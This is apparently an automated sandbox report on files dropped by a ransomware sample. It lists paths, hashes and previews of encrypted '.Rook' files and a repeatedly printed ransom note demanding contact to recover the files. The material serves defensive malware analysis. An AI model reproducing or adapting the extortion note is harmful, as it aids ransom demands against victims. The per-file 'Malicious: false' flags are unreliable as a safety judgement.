SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\howtorestoreyourfiles.txt.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	5096
Entropy (8bit):	7.673584831254344
Encrypted:	false
SSDEEP:	96:fisg+o7ljHFe8W0r8KKo2pr65a9Ypg67Ko4/AAUn5U50+NS43LPuLjv:GFe8W0r8KKo+8NghoiM5U50B43LPun
MD5:	3EABF51E8670170127E92745ADA00301
SHA1:	36DD155F87C2793CE9E39496688B63A13AC0FFFB
SHA-256:	60251F55058DD1CB6C90F9897FCC42726C57C8AF73CB822770D480B3BD49E501
SHA-512:	3C032920FB707CBBBDB8D2ADE511C3C851CFCB9687EFD51029DBB32B6A90E2C908BC0516C3764DDA5B4F42432DC5F95D215978FFDAFAF1557875E8414DD0A3AA
Malicious:	false
Preview:	_.:.l...'.I(..K.me. Again. -----.L.,J$...X.C.s.@.[+]Whats Happen...W..OSy.L2_`N.es are encryptedN.Nn.G'..l!...{.navailable. You [....Y...%.LT.l files on you cb.....5.=X.be...nsion robet.....$e.s..d0.WUI.+Nthing is possibl....&0..9e......store), but you .A{.$v.......O.ur instructions...bP..o.v...1Rt.cant return your......_D.!..[.3..[+] What guara..v......X... just a business.P.%I...*..g.X{.do not care abou.Ml..Ay..g(F._b'eals, except get.B.U.,.........`f we do not do o.....D....=.i...ilities - nobody....h.:.8P.#..Sate with us. Its..h+.l.'...TUi.rests.....To che.^..]4.O..Gs.u\Icity, please sen.....=^/..`F.rger than 1M to &.!...Y..L_b...prove that we ar......Am....n..rtoring.....If yoc.g.DlB.y.z.Mu.rate with our se.G........^.jw..its does not mat8.1..o.U.o.\|.$@Nl lose your time..e]..(Z....q..5just we have the.L...~.7....B... practise - timeVT....G.b.uF...4luable than monew}.`..^......%.x that a security;....<..:.....5nforcement agenc......D$V..... you to negotiat.@.a....

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\vncpassword.exe.log.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2616
Entropy (8bit):	7.902324977708148
Encrypted:	false
SSDEEP:	48:HYGLzbCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:HYYy7Ko4/AAUn5U50+NS43LPuLjv
MD5:	C00ABE5C441AED38A89AE99AB5565082
SHA1:	CFFCEDDECD4D808C6653A3E6E0554F89BF9598B9
SHA-256:	2C04688ED7F4D6808C25EE07D90668D001D28919EAD818A1CDF7CF822A65ACFD
SHA-512:	23E1FC35AECDA2F497C71FA66CB80A3B4A795F620E6C232EFC4235959C69877C791E2FAF977BC7CC35D8C393F1C767DBE7D36492013E87015B79C85427945367
Malicious:	false
Preview:	...4S..b. e.4s.,0......................................H{.......T.V.iVP.B...b.....x.O....f>.%i<=.~.!..z....p4.LZHo.wR..xP.n...&1J#.J..xt_....FI..q.....l..>..d...>6....}...u.r....JQ(..,.s.. .x...G...t...Lt\|.y....C..=......_....._s....8Tr...y...2........-..U...W.x...f(..P.jmV.4_.6b...U.j.56..h....~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j)

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\mmc.exe.log.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	4472
Entropy (8bit):	7.810578743346678
Encrypted:	false
SSDEEP:	96:0RhZR9DAGKvL1WIOHQHLgRW+UwHgeVQ7e7Ko4/AAUn5U50+NS43LPuLjv:O/2GKj1WIOHQrgRHUuu7loiM5U50B43C
MD5:	8EA40DAAFC9645EDE70C6E9EB48A72DA
SHA1:	8FFC6D4EFE9E1751C3CF446DAFE6A8042C3D97F3
SHA-256:	1D8F442FE2BDFBD34A30B4F038B040B1245D27E8F04C76CEEF5198844F5E8386
SHA-512:	377C9CC50C4285A702AEFB13BC8C684A9E40018F2B529F147AF1066A6595E84F5BD3052B34272A44B179B5D038659D3AA6824B4748F84242F1960815B9A5A91A
Malicious:	false
Preview:	................,0..1,"WinRT","N....B.W.B..H.o..tem, Version=4.0.....`O.*e.Gq..utral, PublicKey...M.:@.....x:..34e089","C:\Windq<...,.ch.I..6.iveImages_v4.0.3....-.....:.2Q.074a852d0b7a87fc.....puW..Frn.n.System.ni.dll",0m..<0?./.......s, Version=4.0.0.>...d....v1.:..Bal, PublicKeyTok+..(.F..A.\|..l=089","C:\Windows.>..X...7._....Images_v4.0.3031Y..z.M.Z....f.\5aa66136dfbf2cc.m....C....[5M.f\System.Core.ni...M._.a..I\.o3em.Configuration.O...e.>.<Q.8..40, Culture=neutr.....!.. m...p.en=b03f5f7f11d50.~E...j<.KE.f.w.\assembly\Native...n..0....'Fh..9_64\System.Confm2..L!w?I~.sy.._c5e8c851f974088e.<..Ot`..I.r.Y[xm.Configuration.e....OJHz.......stem.Xml, Versio6.Hu..N....M.Y.Ere=neutral, Publ..J.[....lM.,..c561934e089","C:...x.......8M>/y\NativeImages_v......&....?....tem.Xml\6dbfb468..-.`..n.#,..q..dee7df9b\System..r....4...^.../.,"System.Drawing.O...e.>.<Q.8..40, Culture=neutr.....!.. m...p.en=b03f5f7f11d50.~E...j<.KE.f.w.\assembly\Native...n..0....'Fh..9_64\System.Draw.(.....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	6552
Entropy (8bit):	7.6809740067488335
Encrypted:	false
SSDEEP:	192:arNlg+2Ep4al8Tv1hL4wJrN8ZE7koiM5U50B43LPun:arN2Sual8Tv1l3rN8Z4TJO3LPG
MD5:	45E8DDC5A1FCA1EB8280490D96210FC2
SHA1:	FE3D54B2D77BB37C5212A6AB8DAF7A8CC5257D00
SHA-256:	011833BF2F0742337E121E4F375FD89DB4DE68911C5C676E91DB10DAE4174F55
SHA-512:	C46D531DAFE6A58B6E4150A86330FC444857E0C333CEC2FE4BE99B985FE9A1DDC38070B4357CACD8740DB02333C04AF9404BF4579CF8560F079C821F03DE08F9
Malicious:	false
Preview:	V.....i....:..,0..1,"WinRT","Nx....p.C.Q.E....tem, Version=4.0,.......;.x8".R.utral, PublicKey.L.).&......n.f.34e089","C:\WindIkf.}.....e..7..iveImages_v4.0.3+.E.cG.i.+....W.074a852d0b7a87fc1...20=..J.t?.GYSystem.ni.dll",0>.`l....=h.r.d:., Version=4.0.0....(B...gqn..g{.al, PublicKeyTok..Y.ZS.u...-.089","C:\Windowsz`..F.Om...$.k].Images_v4.0.3031.L;D.6....."..\5aa66136dfbf2cc..........rB:..f\System.Core.ni^...;8[bt.].1.A.osoft.PowerShell.u5..d..Pw7.h.2.rsion=3.0.0.0, C.....y..%+...y\|.PublicKeyToken=3......7..a...0,"C:\Windows\assIp....P,......tes_v4.0.30319_64\|.?.w....*i..X1ec07#\fb0a968672..Z.M,<$$...)..627b6b\Microsoft.lp[.l..o...GWoleHost.ni.dll",.g.E.B.0A...w(e.agement.Automati..<.u....e..v.0.0, Culture=neu..+6.^...c..m+l<oken=31bf3856ad3r........U`.....ws\assembly\Nati...A.f.'w.R...(.319_64\System.Ma....P.1y...s....1f0fd6cc913157b1x...mf..~..9..@.tem.Management.A<...E,...>.....",0..3,"System.M....6..!$t8...Fon=4.0.0.0, Cult............C...licKeyToken=b03f.....-.

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	6360
Entropy (8bit):	7.698133853401283
Encrypted:	false
SSDEEP:	192:3S2mw6HOV2P0JDkgeXf+QcFoiM5U50B43LPun:C2mvC2P0DkgA2QcqTJO3LPG
MD5:	D5DE0A9E064955E7FEFD9675BA58ED1C
SHA1:	3AD33E375D1CD3F33150F552FF358584EB21D501
SHA-256:	18C33A5EB0220D6F0F177AF8DE2D75EBA17AB817DEB75DA27F6AD18D49B576CE
SHA-512:	6A7F4B5660C2927C350B92E938D4FFC4FDB641D14519F5F8AFBE9DD3C183E1010A6EB1149357AF5622907659AE38F75DD392BED51C0D0D6A7385EF914BD087FE
Malicious:	false
Preview:	OY;..HK...,....K,0..1,"WinRT","N.P%.`..J.D...M..tem, Version=4.0w...V....%4....eutral, PublicKey2v#e....9..w.}34e089","C:\Wind.....^....T..iveImages_v4.0.3w.G...8<......"340a40c55ba464d0........H.I.[...System.ni.dll",0......D._b.\|.~.., Version=4.0.0.w....6..V......al, PublicKeyTok.SX.13ls`..u.F..089","C:\Windows.Xg..W........I.Images_v4.0.3031...\i.....4..8.m\d47bd74620ae94b}..V.......O}=w.b\System.Core.ni.LE.(......_.z.osoft.PowerShelloK..)(.Q...#...rsion=3.0.0.0, Cte.9. g.w...jj.[PublicKeyToken=3{{j.S..<...>.9..,"C:\Windows\assB..G.e..:.ZT..?.es_v4.0.30319_32H...../.q ..-.\.ec07#\5e5547a60c......i........fb1f28\Microsoft...CJ......."oleHost.ni.dll",.B...&..;.-..Nagement.Automati!'g'}T.".8.W8...0.0, Culture=neuE..D...v.......oken=31bf3856ad3..v..K.s.Wj.b..Lws\assembly\Nati....{y..v.[.,319_32\System.Ma..*4......U..DZF861607b17a00ea9e...E...`]."v..tem.Management.Aw<.H..G....Q._.",0..3,"System.M"tB...~t@7f.....on=4.0.0.0, Cult..N\|.Fa...bBj([.licKeyToken=b03f2.<.%...

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	13688
Entropy (8bit):	7.984463822481459
Encrypted:	false
SSDEEP:	384:0d8fQyKPCGRqNzQKajIULdaB108Ro7RtqI+szbTJO3LPG:0SfQ5aGAmMOUB100ARt7+goe
MD5:	2F273B15F7A8CEA40A2B267400635B0B
SHA1:	819CAC3EBB1F4B2B6F446C8525C7B4701BAA6CE6
SHA-256:	F8D238B82C223DC507B621D3D9F7F920594E164620D233356BACE848B181EE89
SHA-512:	7B0D4C9FD7606F9E40EEC213874211283996ED5609AA6E35928799BBE59C9162C2AD478C9582D8BCF6C9D8DDE7D0F0C62C01617AFF3E5C4F8C7E69C481DCE857
Malicious:	false
Preview:	....k.....1.............z..O..6../.M.:$...SV...... 0...L.o.og,...G..wF.Y.Oe.n.t.i.a.l. .D..wV." ....HfG..... ...G0.f.~cw..z8Z.e..z.l..S[....t............c...C....E.....aYN..3w...j...sd>P ..op#F.<LB.....A.ITe.n...V......:H}7....../.....b#. [.........].Z. ..W...H...vF.^......p...K../..c.....P'..0..2..1.K..::..).g.J..a.-.....a..k..P..K.V.o....]..".2).3...=...j.=.2Ey..Y.L4.~d^...0..........h(vN...}........h5..U.g..3.S.D..h.; K..._..<.n...~X..i...E. '1.4.X.....f.8..n:Z..`\|.....x...yEl..w4.L^......![...2....ZA..l.wz.?%>/.Q..>...Q...,..G.....(`.{..z.......'.wE..G^.....O]...(..j..-/..i..Qh..E.W...Q....4:..S.8./....!.....t{.>.....U..e!......p....~...{h v.pq.pH.7C..Q>...3....<......'.#..JQ./.j..i..6.I[@.?..G....0..X\.Bu...u.@'c.....T....P...).K.e....@.%...s...u.0....<.@....I......9.,..h.~........q0.@....4R]..x.FI.]_te.q1.l*...TD..\|..i.).L.....^4....CdB.?.lfU...RR]pJ....Z.B...O..g{..........hm.....'.Z......z.a.9.[qI^.`.....W.v.$...8SX.......

C:\Users\user\AppData\Local\Microsoft\Credentials\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Event Viewer\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Event Viewer\RecentViews.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	3544
Entropy (8bit):	7.837191448360416
Encrypted:	false
SSDEEP:	96:9+/tWSLiDHc5NFs3B7Ko4/AAUn5U50+NS43LPuLjv:9+/tfm0qwoiM5U50B43LPun
MD5:	C084D757D0D752CC5F14772D00C79A76
SHA1:	CACF820E737E03335DCFEC89A5619B1DB73E2B13
SHA-256:	3EE581ACF110EB1656389BBBB275E3B2EA0D28E642BF5EA762CEC4EF597D07A6
SHA-512:	A2706FE56F143E25C9609C5CBDA50E494E231B7A6C7759F06DECB8194900A1F0B3C9C940DB32E8A2FC322B5477385DD9B8BA07FFF0A803F38871FDB87093F01D
Malicious:	false
Preview:	.Th.^Z...9U.=.h........System.Co6b*n..b.'..;:GYist....._items._.ct.W.37o...W.cN....................<7....88.I.....PMIGUIContro.x.t..P.&....Xl.0.0, Culture=neu.0,..........-oken=31bf3856ad3.(<...@...v...FCsoft.Windows.Man...)b.s.AP."..edControls.Recenmy~.U.(Y.s..7.%$odePath.eventNod.3..%E....$YXS>h.ticks.descript....Iw......G!7.createdTime.....h...[1.."....Hndows.Managemente.=.S..kx..].@ols.RecentViewsD.a.-.q.M.........=Microsoft.Wi....4Hf!q..u7p.UI.CombinedContr.t%.]R<-1.V..e.................K... ........indows.Managemen!.].D..9_.{Q.Wrols.EventNodeTy.>..~..i?R;..Cd..............ApF.}.....p.'....j.......N/A.......r^x.t.!T.7..rh. AM......5/27/20.;r;.......-....KMicrosoft.Win.. ...."u.dIP.%I.CombinedContro..a.^.+....xj..ta+MmcNodePath....Q$a...\|...p.String.name.descv.@.q..#.......em.Collections.A..#.....6.J.D.D.......Windows L........6p8...O.....Application..H.D....A.$Au.....................w..;..@.[.?s Logs..................................9..{P=......#~!

C:\Users\user\AppData\Local\Microsoft\Event Viewer\Settings.Xml.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2696
Entropy (8bit):	7.913341360690768
Encrypted:	false
SSDEEP:	48:q0fQ2Z2CxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:/l7Ko4/AAUn5U50+NS43LPuLjv
MD5:	B0D1D4C2AF2CA4C47F3FCDAB4865AD1F
